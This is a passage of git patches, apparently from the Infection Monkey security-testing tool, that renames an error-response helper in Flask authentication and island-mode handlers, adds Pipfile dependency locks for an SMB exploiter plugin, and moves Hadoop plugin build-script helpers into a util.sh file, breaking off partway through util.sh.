b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py @@ -37,10 +37,10 @@ def post(self): username, password = get_username_password_from_request(request) response: ResponseValue = login() except Exception: - return responses.response_to_invalid_request() + return responses.make_response_to_invalid_request() if not isinstance(response, Response): - return responses.response_to_invalid_request() + return responses.make_response_to_invalid_request() if response.status_code == HTTPStatus.OK: self._authentication_facade.handle_successful_login(username, password) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py index 987af8dcc40..10339c4cc20 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py @@ -26,10 +26,10 @@ def post(self): try: response: ResponseValue = logout() except Exception: - return responses.response_to_invalid_request() + return responses.make_response_to_invalid_request() if not isinstance(response, Response): - return responses.response_to_invalid_request() + return responses.make_response_to_invalid_request() if response.status_code == HTTPStatus.OK: self._authentication_facade.handle_successful_logout() diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py index 05171083c0c..aee0e86fd6d 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py @@ -32,12 +32,12 @@ def post(self): username, password = get_username_password_from_request(request) response: ResponseValue = register() except Exception: - return responses.response_to_invalid_request() + return responses.make_response_to_invalid_request() # Register view treat the request as form submit which may return something # that it is not a response if not isinstance(response, Response): - return responses.response_to_invalid_request() + return responses.make_response_to_invalid_request() if response.status_code == HTTPStatus.OK: self._authentication_facade.handle_successful_registration(username, password) From ce7e568f4fb9f36959cbf91b90f748c9cb77515e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Mar 2023 09:35:01 -0500 Subject: [PATCH 0572/1338] Island: Use make_response_to_invalid_request() in IslandMode resource --- monkey/monkey_island/cc/resources/island_mode.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index b6b8aa75eba..d7d45adc338 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -6,7 +6,7 @@ from flask_security import auth_token_required, roles_required from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.flask_utils import AbstractResource, responses from monkey_island.cc.models import IslandMode as IslandModeEnum from monkey_island.cc.repositories import ISimulationRepository from monkey_island.cc.services.authentication_service import AccountRole @@ -33,7 +33,7 @@ def put(self): self._island_event_queue.publish(topic=IslandEventTopic.SET_ISLAND_MODE, mode=mode) return {}, HTTPStatus.NO_CONTENT except (AttributeError, json.decoder.JSONDecodeError): - return {}, HTTPStatus.BAD_REQUEST + return responses.make_response_to_invalid_request() except ValueError: return {}, HTTPStatus.UNPROCESSABLE_ENTITY From e77b9c4c15c3f8a507322de936a4446b937f1baf Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 10 Mar 2023 19:14:18 +0000 Subject: [PATCH 0573/1338] SMB: Add pipfile for dependencies Issue #3093 --- monkey/agent_plugins/exploiters/smb/Pipfile | 12 + .../agent_plugins/exploiters/smb/Pipfile.lock | 343 ++++++++++++++++++ 2 files changed, 355 insertions(+) create mode 100644 monkey/agent_plugins/exploiters/smb/Pipfile create mode 100644 monkey/agent_plugins/exploiters/smb/Pipfile.lock diff --git a/monkey/agent_plugins/exploiters/smb/Pipfile b/monkey/agent_plugins/exploiters/smb/Pipfile new file mode 100644 index 00000000000..c1b02dcbf65 --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/Pipfile @@ -0,0 +1,12 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] +impacket = "*" + +[dev-packages] + +[requires] +python_version = "3.11" diff --git a/monkey/agent_plugins/exploiters/smb/Pipfile.lock b/monkey/agent_plugins/exploiters/smb/Pipfile.lock new file mode 100644 index 00000000000..a9d1998207b --- /dev/null +++ b/monkey/agent_plugins/exploiters/smb/Pipfile.lock @@ -0,0 +1,343 @@ +{ + "_meta": { + "hash": { + "sha256": "971ccfb7172c35dd114968b1871a0d4899bf3048a7a7564440c70ed2f71dde31" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.11" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "cffi": { + "hashes": [ + "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5", + "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef", + "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104", + "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426", + "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405", + "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375", + "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a", + "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e", + "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc", + "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf", + "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185", + "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497", + "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3", + "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35", + "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c", + "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83", + "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21", + "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca", + "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984", + "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac", + "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd", + "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee", + "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a", + "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2", + "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192", + "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7", + "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585", + "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f", + "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e", + "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27", + "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b", + "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e", + "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e", + "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d", + "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c", + "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415", + "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82", + "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02", + "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314", + "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325", + "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c", + "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3", + "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914", + "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045", + "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d", + "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9", + "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5", + "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2", + "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c", + "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3", + "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2", + "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8", + "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d", + "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d", + "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9", + "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162", + "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76", + "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4", + "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e", + "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9", + "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6", + "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b", + "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01", + "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0" + ], + "version": "==1.15.1" + }, + "chardet": { + "hashes": [ + "sha256:0d62712b956bc154f85fb0a266e2a3c5913c2967e00348701b32411d6def31e5", + "sha256:362777fb014af596ad31334fde1e8c327dfdb076e1960d1694662d46a6917ab9" + ], + "markers": "python_version >= '3.7'", + "version": "==5.1.0" + }, + "click": { + "hashes": [ + "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e", + "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48" + ], + "markers": "python_version >= '3.7'", + "version": "==8.1.3" + }, + "cryptography": { + "hashes": [ + "sha256:103e8f7155f3ce2ffa0049fe60169878d47a4364b277906386f8de21c9234aa1", + "sha256:23df8ca3f24699167daf3e23e51f7ba7334d504af63a94af468f468b975b7dd7", + "sha256:2725672bb53bb92dc7b4150d233cd4b8c59615cd8288d495eaa86db00d4e5c06", + "sha256:30b1d1bfd00f6fc80d11300a29f1d8ab2b8d9febb6ed4a38a76880ec564fae84", + "sha256:35d658536b0a4117c885728d1a7032bdc9a5974722ae298d6c533755a6ee3915", + "sha256:50cadb9b2f961757e712a9737ef33d89b8190c3ea34d0fb6675e00edbe35d074", + "sha256:5f8c682e736513db7d04349b4f6693690170f95aac449c56f97415c6980edef5", + "sha256:6236a9610c912b129610eb1a274bdc1350b5df834d124fa84729ebeaf7da42c3", + "sha256:788b3921d763ee35dfdb04248d0e3de11e3ca8eb22e2e48fef880c42e1f3c8f9", + "sha256:8bc0008ef798231fac03fe7d26e82d601d15bd16f3afaad1c6113771566570f3", + "sha256:8f35c17bd4faed2bc7797d2a66cbb4f986242ce2e30340ab832e5d99ae60e011", + "sha256:b49a88ff802e1993b7f749b1eeb31134f03c8d5c956e3c125c75558955cda536", + "sha256:bc0521cce2c1d541634b19f3ac661d7a64f9555135e9d8af3980965be717fd4a", + "sha256:bc5b871e977c8ee5a1bbc42fa8d19bcc08baf0c51cbf1586b0e87a2694dde42f", + "sha256:c43ac224aabcbf83a947eeb8b17eaf1547bce3767ee2d70093b461f31729a480", + "sha256:d15809e0dbdad486f4ad0979753518f47980020b7a34e9fc56e8be4f60702fac", + "sha256:d7d84a512a59f4412ca8549b01f94be4161c94efc598bf09d027d67826beddc0", + "sha256:e029b844c21116564b8b61216befabca4b500e6816fa9f0ba49527653cae2108", + "sha256:e8a0772016feeb106efd28d4a328e77dc2edae84dfbac06061319fdb669ff828", + "sha256:e944fe07b6f229f4c1a06a7ef906a19652bdd9fd54c761b0ff87e83ae7a30354", + "sha256:eb40fe69cfc6f5cdab9a5ebd022131ba21453cf7b8a7fd3631f45bbf52bed612", + "sha256:fa507318e427169ade4e9eccef39e9011cdc19534f55ca2f36ec3f388c1f70f3", + "sha256:ffd394c7896ed7821a6d13b24657c6a34b6e2650bd84ae063cf11ccffa4f1a97" + ], + "markers": "python_version >= '3.6'", + "version": "==39.0.2" + }, + "dnspython": { + "hashes": [ + "sha256:224e32b03eb46be70e12ef6d64e0be123a64e621ab4c0822ff6d450d52a540b9", + "sha256:89141536394f909066cabd112e3e1a37e4e654db00a25308b0f130bc3152eb46" + ], + "markers": "python_version >= '3.7' and python_version < '4.0'", + "version": "==2.3.0" + }, + "flask": { + "hashes": [ + "sha256:7eb373984bf1c770023fce9db164ed0c3353cd0b53f130f4693da0ca756a2e6d", + "sha256:c0bec9477df1cb867e5a67c9e1ab758de9cb4a3e52dd70681f59fa40a62b3f2d" + ], + "markers": "python_version >= '3.7'", + "version": "==2.2.3" + }, + "future": { + "hashes": [ + "sha256:34a17436ed1e96697a86f9de3d15a3b0be01d8bc8de9c1dffd59fb8234ed5307" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2'", + "version": "==0.18.3" + }, + "impacket": { + "hashes": [ + "sha256:b8eb020a2cbb47146669cfe31c64bb2e7d6499d049c493d6418b9716f5c74583" + ], + "index": "pypi", + "version": "==0.10.0" + }, + "itsdangerous": { + "hashes": [ + "sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44", + "sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a" + ], + "markers": "python_version >= '3.7'", + "version": "==2.1.2" + }, + "jinja2": { + "hashes": [ + "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852", + "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61" + ], + "markers": "python_version >= '3.7'", + "version": "==3.1.2" + }, + "ldap3": { + "hashes": [ + "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6", + "sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687", + "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70", + "sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5", + "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f" + ], + "version": "==2.9.1" + }, + "ldapdomaindump": { + "hashes": [ + "sha256:51d0c241af1d6fa3eefd79b95d182a798d39c56c4e2efb7ffae244a0b54f58aa", + "sha256:99dcda17050a96549966e53bc89e71da670094d53d9542b3b0d0197d035e6f52", + "sha256:c05ee1d892e6a0eb2d7bf167242d4bf747ff7758f625588a11795510d06de01f" + ], + "version": "==0.9.4" + }, + "markupsafe": { + "hashes": [ + "sha256:0576fe974b40a400449768941d5d0858cc624e3249dfd1e0c33674e5c7ca7aed", + "sha256:085fd3201e7b12809f9e6e9bc1e5c96a368c8523fad5afb02afe3c051ae4afcc", + "sha256:090376d812fb6ac5f171e5938e82e7f2d7adc2b629101cec0db8b267815c85e2", + "sha256:0b462104ba25f1ac006fdab8b6a01ebbfbce9ed37fd37fd4acd70c67c973e460", + "sha256:137678c63c977754abe9086a3ec011e8fd985ab90631145dfb9294ad09c102a7", + "sha256:1bea30e9bf331f3fef67e0a3877b2288593c98a21ccb2cf29b74c581a4eb3af0", + "sha256:22152d00bf4a9c7c83960521fc558f55a1adbc0631fbb00a9471e097b19d72e1", + "sha256:22731d79ed2eb25059ae3df1dfc9cb1546691cc41f4e3130fe6bfbc3ecbbecfa", + "sha256:2298c859cfc5463f1b64bd55cb3e602528db6fa0f3cfd568d3605c50678f8f03", + "sha256:28057e985dace2f478e042eaa15606c7efccb700797660629da387eb289b9323", + "sha256:2e7821bffe00aa6bd07a23913b7f4e01328c3d5cc0b40b36c0bd81d362faeb65", + "sha256:2ec4f2d48ae59bbb9d1f9d7efb9236ab81429a764dedca114f5fdabbc3788013", + "sha256:340bea174e9761308703ae988e982005aedf427de816d1afe98147668cc03036", + "sha256:40627dcf047dadb22cd25ea7ecfe9cbf3bbbad0482ee5920b582f3809c97654f", + "sha256:40dfd3fefbef579ee058f139733ac336312663c6706d1163b82b3003fb1925c4", + "sha256:4cf06cdc1dda95223e9d2d3c58d3b178aa5dacb35ee7e3bbac10e4e1faacb419", + "sha256:50c42830a633fa0cf9e7d27664637532791bfc31c731a87b202d2d8ac40c3ea2", + "sha256:55f44b440d491028addb3b88f72207d71eeebfb7b5dbf0643f7c023ae1fba619", + "sha256:608e7073dfa9e38a85d38474c082d4281f4ce276ac0010224eaba11e929dd53a", + "sha256:63ba06c9941e46fa389d389644e2d8225e0e3e5ebcc4ff1ea8506dce646f8c8a", + "sha256:65608c35bfb8a76763f37036547f7adfd09270fbdbf96608be2bead319728fcd", + "sha256:665a36ae6f8f20a4676b53224e33d456a6f5a72657d9c83c2aa00765072f31f7", + "sha256:6d6607f98fcf17e534162f0709aaad3ab7a96032723d8ac8750ffe17ae5a0666", + "sha256:7313ce6a199651c4ed9d7e4cfb4aa56fe923b1adf9af3b420ee14e6d9a73df65", + "sha256:7668b52e102d0ed87cb082380a7e2e1e78737ddecdde129acadb0eccc5423859", + "sha256:7df70907e00c970c60b9ef2938d894a9381f38e6b9db73c5be35e59d92e06625", + "sha256:7e007132af78ea9df29495dbf7b5824cb71648d7133cf7848a2a5dd00d36f9ff", + "sha256:835fb5e38fd89328e9c81067fd642b3593c33e1e17e2fdbf77f5676abb14a156", + "sha256:8bca7e26c1dd751236cfb0c6c72d4ad61d986e9a41bbf76cb445f69488b2a2bd", + "sha256:8db032bf0ce9022a8e41a22598eefc802314e81b879ae093f36ce9ddf39ab1ba", + "sha256:99625a92da8229df6d44335e6fcc558a5037dd0a760e11d84be2260e6f37002f", + "sha256:9cad97ab29dfc3f0249b483412c85c8ef4766d96cdf9dcf5a1e3caa3f3661cf1", + "sha256:a4abaec6ca3ad8660690236d11bfe28dfd707778e2442b45addd2f086d6ef094", + "sha256:a6e40afa7f45939ca356f348c8e23048e02cb109ced1eb8420961b2f40fb373a", + "sha256:a6f2fcca746e8d5910e18782f976489939d54a91f9411c32051b4aab2bd7c513", + "sha256:a806db027852538d2ad7555b203300173dd1b77ba116de92da9afbc3a3be3eed", + "sha256:abcabc8c2b26036d62d4c746381a6f7cf60aafcc653198ad678306986b09450d", + "sha256:b8526c6d437855442cdd3d87eede9c425c4445ea011ca38d937db299382e6fa3", + "sha256:bb06feb762bade6bf3c8b844462274db0c76acc95c52abe8dbed28ae3d44a147", + "sha256:c0a33bc9f02c2b17c3ea382f91b4db0e6cde90b63b296422a939886a7a80de1c", + "sha256:c4a549890a45f57f1ebf99c067a4ad0cb423a05544accaf2b065246827ed9603", + "sha256:ca244fa73f50a800cf8c3ebf7fd93149ec37f5cb9596aa8873ae2c1d23498601", + "sha256:cf877ab4ed6e302ec1d04952ca358b381a882fbd9d1b07cccbfd61783561f98a", + "sha256:d9d971ec1e79906046aa3ca266de79eac42f1dbf3612a05dc9368125952bd1a1", + "sha256:da25303d91526aac3672ee6d49a2f3db2d9502a4a60b55519feb1a4c7714e07d", + "sha256:e55e40ff0cc8cc5c07996915ad367fa47da6b3fc091fdadca7f5403239c5fec3", + "sha256:f03a532d7dee1bed20bc4884194a16160a2de9ffc6354b3878ec9682bb623c54", + "sha256:f1cd098434e83e656abf198f103a8207a8187c0fc110306691a2e94a78d0abb2", + "sha256:f2bfb563d0211ce16b63c7cb9395d2c682a23187f54c3d79bfec33e6705473c6", + "sha256:f8ffb705ffcf5ddd0e80b65ddf7bed7ee4f5a441ea7d3419e861a12eaf41af58" + ], + "markers": "python_version >= '3.7'", + "version": "==2.1.2" + }, + "pyasn1": { + "hashes": [ + "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", + "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", + "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", + "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", + "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", + "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", + "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", + "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", + "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", + "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", + "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", + "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", + "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" + ], + "version": "==0.4.8" + }, + "pycparser": { + "hashes": [ + "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9", + "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206" + ], + "version": "==2.21" + }, + "pycryptodomex": { + "hashes": [ + "sha256:0af93aad8d62e810247beedef0261c148790c52f3cd33643791cc6396dd217c1", + "sha256:12056c38e49d972f9c553a3d598425f8a1c1d35b2e4330f89d5ff1ffb70de041", + "sha256:23d83b610bd97704f0cd3acc48d99b76a15c8c1540d8665c94d514a49905bad7", + "sha256:2d4d395f109faba34067a08de36304e846c791808524614c731431ee048fe70a", + "sha256:32e764322e902bbfac49ca1446604d2839381bbbdd5a57920c9daaf2e0b778df", + "sha256:3c2516b42437ae6c7a29ef3ddc73c8d4714e7b6df995b76be4695bbe4b3b5cd2", + "sha256:40e8a11f578bd0851b02719c862d55d3ee18d906c8b68a9c09f8c564d6bb5b92", + "sha256:4b51e826f0a04d832eda0790bbd0665d9bfe73e5a4d8ea93b6a9b38beeebe935", + "sha256:4c4674f4b040321055c596aac926d12f7f6859dfe98cd12f4d9453b43ab6adc8", + "sha256:55eed98b4150a744920597c81b3965b632038781bab8a08a12ea1d004213c600", + "sha256:599bb4ae4bbd614ca05f49bd4e672b7a250b80b13ae1238f05fd0f09d87ed80a", + "sha256:5c23482860302d0d9883404eaaa54b0615eefa5274f70529703e2c43cc571827", + "sha256:64b876d57cb894b31056ad8dd6a6ae1099b117ae07a3d39707221133490e5715", + "sha256:67a3648025e4ddb72d43addab764336ba2e670c8377dba5dd752e42285440d31", + "sha256:6feedf4b0e36b395329b4186a805f60f900129cdf0170e120ecabbfcb763995d", + "sha256:78f0ddd4adc64baa39b416f3637aaf99f45acb0bcdc16706f0cc7ebfc6f10109", + "sha256:7a6651a07f67c28b6e978d63aa3a3fccea0feefed9a8453af3f7421a758461b7", + "sha256:7a8dc3ee7a99aae202a4db52de5a08aa4d01831eb403c4d21da04ec2f79810db", + "sha256:7cc28dd33f1f3662d6da28ead4f9891035f63f49d30267d3b41194c8778997c8", + "sha256:7fa0b52df90343fafe319257b31d909be1d2e8852277fb0376ba89d26d2921db", + "sha256:88b0d5bb87eaf2a31e8a759302b89cf30c97f2f8ca7d83b8c9208abe8acb447a", + "sha256:a4fa037078e92c7cc49f6789a8bac3de06856740bb2038d05f2d9a2e4b165d59", + "sha256:a57e3257bacd719769110f1f70dd901c5b6955e9596ad403af11a3e6e7e3311c", + "sha256:ab33c2d9f275e05e235dbca1063753b5346af4a5cac34a51fa0da0d4edfb21d7", + "sha256:c84689c73358dfc23f9fdcff2cb9e7856e65e2ce3b5ed8ff630d4c9bdeb1867b", + "sha256:c92537b596bd5bffb82f8964cabb9fef1bca8a28a9e0a69ffd3ec92a4a7ad41b", + "sha256:caa937ff29d07a665dfcfd7a84f0d4207b2ebf483362fa9054041d67fdfacc20", + "sha256:d38ab9e53b1c09608ba2d9b8b888f1e75d6f66e2787e437adb1fecbffec6b112", + "sha256:d4cf0128da167562c49b0e034f09e9cedd733997354f2314837c2fa461c87bb1", + "sha256:db23d7341e21b273d2440ec6faf6c8b1ca95c8894da612e165be0b89a8688340", + "sha256:ee8bf4fdcad7d66beb744957db8717afc12d176e3fd9c5d106835133881a049b", + "sha256:f854c8476512cebe6a8681cc4789e4fcff6019c17baa0fd72b459155dc605ab4", + "sha256:fd29d35ac80755e5c0a99d96b44fb9abbd7e871849581ea6a4cb826d24267537" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==3.17" + }, + "pyopenssl": { + "hashes": [ + "sha256:c1cc5f86bcacefc84dada7d31175cae1b1518d5f60d3d0bb595a67822a868a6f", + "sha256:df5fc28af899e74e19fccb5510df423581047e10ab6f1f4ba1763ff5fde844c0" + ], + "markers": "python_version >= '3.6'", + "version": "==23.0.0" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2'", + "version": "==1.16.0" + }, + "werkzeug": { + "hashes": [ + "sha256:2e1ccc9417d4da358b9de6f174e3ac094391ea1d4fbef2d667865d819dfd0afe", + "sha256:56433961bc1f12533306c624f3be5e744389ac61d722175d543e1751285da612" + ], + "markers": "python_version >= '3.7'", + "version": "==2.2.3" + } + }, + "develop": {} +} From 1bc261c892e3e2d52b4173b790b381a76e048de0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 10 Mar 2023 15:30:55 +0000 Subject: [PATCH 0574/1338] Hadoop: Move functions to util.sh --- .../exploiters/hadoop/build_plugin.sh | 33 +++------------ .../agent_plugins/exploiters/hadoop/util.sh | 41 +++++++++++++++++++ 2 files changed, 46 insertions(+), 28 deletions(-) create mode 100644 monkey/agent_plugins/exploiters/hadoop/util.sh diff --git a/monkey/agent_plugins/exploiters/hadoop/build_plugin.sh b/monkey/agent_plugins/exploiters/hadoop/build_plugin.sh index 76516f96f2b..a3e0c0fb2fc 100755 --- a/monkey/agent_plugins/exploiters/hadoop/build_plugin.sh +++ b/monkey/agent_plugins/exploiters/hadoop/build_plugin.sh @@ -1,30 +1,12 @@ #!/bin/sh -# Build hadoop package +# Build plugin package # Usage: ./build_plugin.sh - - -MANIFEST_FILENAME=manifest.yaml -SCHEMA_FILENAME=config-schema.json -SOURCE_FILENAME=source.tar ROOT="$( cd "$( dirname "$0" )" && pwd )" -get_value_from_key() { - _file="$1" - _key="$2" - _value=$(grep -Po "(?<=^${_key}:).*" "$_file") - if [ -z "$_value" ]; then - echo "Error: Plugin '$_key' not found." - exit 1 - else - echo "$_value" - fi -} - -lower() { - echo "$1" | tr "[:upper:]" "[:lower:]" -} +#shellcheck disable=SC1091 +. "$ROOT/util.sh" set -x export PYENV_ROOT="$HOME/.pyenv" @@ -44,11 +26,6 @@ tar -cf "$ROOT/$SOURCE_FILENAME" ./*.py vendor rm -rf vendor cd "$ROOT" || exit 1 - -# xargs strips leading whitespace -name=$(get_value_from_key $MANIFEST_FILENAME name | xargs) -type=$(lower "$(get_value_from_key $MANIFEST_FILENAME plugin_type | xargs)") - -plugin_filename="${name}-${type}.tar" -tar -cf "$ROOT/$plugin_filename" $MANIFEST_FILENAME $SCHEMA_FILENAME $SOURCE_FILENAME +plugin_filename=$(get_plugin_filename) || fail "Failed to get plugin filename: $plugin_filename" +tar -cf "$ROOT/$plugin_filename" "$MANIFEST_FILENAME" "$SCHEMA_FILENAME" "$SOURCE_FILENAME" rm "$ROOT/$SOURCE_FILENAME" diff --git a/monkey/agent_plugins/exploiters/hadoop/util.sh b/monkey/agent_plugins/exploiters/hadoop/util.sh new file mode 100644 index 00000000000..d7786f768e1 --- /dev/null +++ b/monkey/agent_plugins/exploiters/hadoop/util.sh @@ -0,0 +1,41 @@ +#!/bin/sh + +export MANIFEST_FILENAME=manifest.yaml +export SCHEMA_FILENAME=config-schema.json +export 